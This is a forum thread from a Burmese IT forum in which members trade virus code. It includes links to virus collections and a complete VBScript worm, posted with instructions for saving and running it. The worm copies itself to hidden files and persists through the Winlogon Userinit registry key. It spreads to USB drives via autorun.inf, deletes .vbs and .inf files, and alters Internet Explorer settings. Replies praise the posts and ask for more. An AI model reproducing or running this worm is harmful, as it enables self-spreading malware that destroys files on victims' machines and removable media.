Myanmar IT Resource Forum
Myanmar IT Resource Forum
Myanmar IT Resource Forum

You are not connected. Please login or register

Myanmar IT Resource Forum » GENERAL TECHNOLOGY »   » Virus » သိသိသမွ် virus coding မ်ား

View previous topic View next topic Go down  Message [Page 1 of 1]

CrustyDi@per

CrustyDi@per
MITR Reader



MITR Reader
Code:
http://www.box.net/shared/kihvmyrep3
http://www.box.net/shared/q6ba9m618e
http://www.box.net/shared/k5iafalq71
http://www.box.net/shared/4q93l39tc9
http://www.box.net/shared/couzp78639
http://www.box.net/shared/fdfgh81a31
ရွာထားတာေတြပါ



Last edited by K0ht3t on 22nd March 2010, 4:47 pm; edited 1 time in total (Reason for editing : link မ်ားအား ကုဒ္ျဖင့္ေဖာ္ျပလုိက္သည္.)

http://ucsycyber.ning.com

K0ht3t

K0ht3t
Moderator



Moderator
ေကာင္းပါတယ္ဗ်ာ ... အဲလုိမ်ဳိးေလး ေတြရွိရင္တင္ေပးပါဦး ... လုိခ်င္လုိ႔ ပါ ...

CrustyDi@per

CrustyDi@per
MITR Reader



MITR Reader
ဘာလုပ္ဖို႔ဆိုတာသိခြင့္ရွိရင္သိခ်င္ပါတယ္ခင္ဗ်ာ..ေလ့လာဖို႔လား

http://ucsycyber.ning.com

K0ht3t

K0ht3t
Moderator



Moderator
ေလ့လာဖုိ႔ ပါ ဗ်ာ ... အဲဒီ code ကေလးေတြ ကုိ သိခ်င္ရုံတင္ပါ ... ဘာမွ မလုပ္ပါဘူး ..

AcronomeArk

AcronomeArk
MITR New User



Man!!!! That's totally cool. I've been digin them for a long time.
Thx.. Pl, share like this, that's very kind of you. Smile

Thx lotta

ko htet

ko htet
MITR Reader



MITR Reader
ဗိုင္းရပ္ လုပ္ခ်င္တဲ့ အကိုေတြအတြက္ပါ...
လုပ္နည္းေလးကေတာ့ Notepad ကိုဖြင့္လိုက္....
ၿပီးရင္ေအာက္မွာေပးထားတဲ့ code ေတြကိုထည့္ၿပီး..
noenoejetma.vbs နဲ႕ save လုပ္လိုက္ပါ...

Code:
Option Explicit

On Error Resume Next

Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)

Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\NoeNoeJetma.vbs") Then
  Set WriteAll = Fso.CreateTextFile(SystemDir & "\NoeNoeJetma.vbs", 2, True)
  WriteAll.Write AllFile
  WriteAll.Close
  Set WriteAll = Fso.GetFile(SystemDir & "\NoeNoeJetma.vbs")
  WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\NoeNoeJetma.vbs"
For Each Drives In InDrive

If Drives.DriveType = 2 Then
  LookVBS "inf", Drives.Path & "\"
  LookVBS "INF", Drives.Path & "\"
End If

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
  If Drives.Path <> "A:" Then
      Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", ""
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", ""
      Shells.RegWrite "HKCR\vbsfile\DefaultIcon", "%SystemRoot%\System32\WScript.exe,2"
      LookVBS "vbs", WinDir & "\"
      LookVBS "vbs", Drives.Path & "\"
    If Drives.DriveType = 1 Then
    If Drives.Path <> "A:" Then
    If Not Fso.FileExists(Drives.Path & "\NoeNoeJetma.vbs") Then
      Set WriteAll = Fso.CreateTextFile(Drives.Path & "\NoeNoeJetma.vbs", 2, True)
      WriteAll.Write AllFile
      WriteAll.Close
      Set WriteAll = Fso.GetFile(Drives.Path & "\NoeNoeJetma.vbs")
      WriteAll.Attributes = -1
      End If
     
      If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
          Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
          Chg.Attributes = -8
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf", 2, True)
          WriteAll.WriteLine "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe NoeNoeJetma.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
      Else
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf", 2, True)
          WriteAll.WriteLine "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe NoeNoeJetma.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
      End If
      End If
    End If
  End If
  End If
  Next
  If Count <> 1 Then
Wscript.sleep 10000
End If
Loop While Count <> 1
 Sub LookVBS(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile, Cut, Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut = Right(oFile.Name, 3)
    If UCase(Cut) = UCase(File2Find) Then
      If oFile.Name <> "NoeNoeJetma.vbs" Then Set Delete = oFileSys.DeleteFile(SrchPath & oFile.Name, True)
    End If
    Next
 End Sub
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\NoeNoeJetma.vbs"
      Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", ""
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", ""
      Shells.RegWrite "HKCR\vbsfile\DefaultIcon", "%SystemRoot%\System32\WScript.exe,2"



Last edited by solakoko on 22nd March 2010, 5:05 pm; edited 1 time in total (Reason for editing : used code to see clearly)

http://deviljim.multiply.com

moe htet

moe htet
MITR New User



ကုိထက္ ေကာင္းေတာ႔ေကာင္းတယ္ သတ္နည္းပါေရးျပပါလားဗ်ာ

Sponsored content


View previous topic View next topic Back to top  Message [Page 1 of 1]

Myanmar IT Resource Forum » GENERAL TECHNOLOGY »   » Virus » သိသိသမွ် virus coding မ်ား

Permissions in this forum:
You cannot reply to topics in this forum

 

Forum free | ©phpBB | Free forum support | Report an abuse | Cookies | Forumotion.com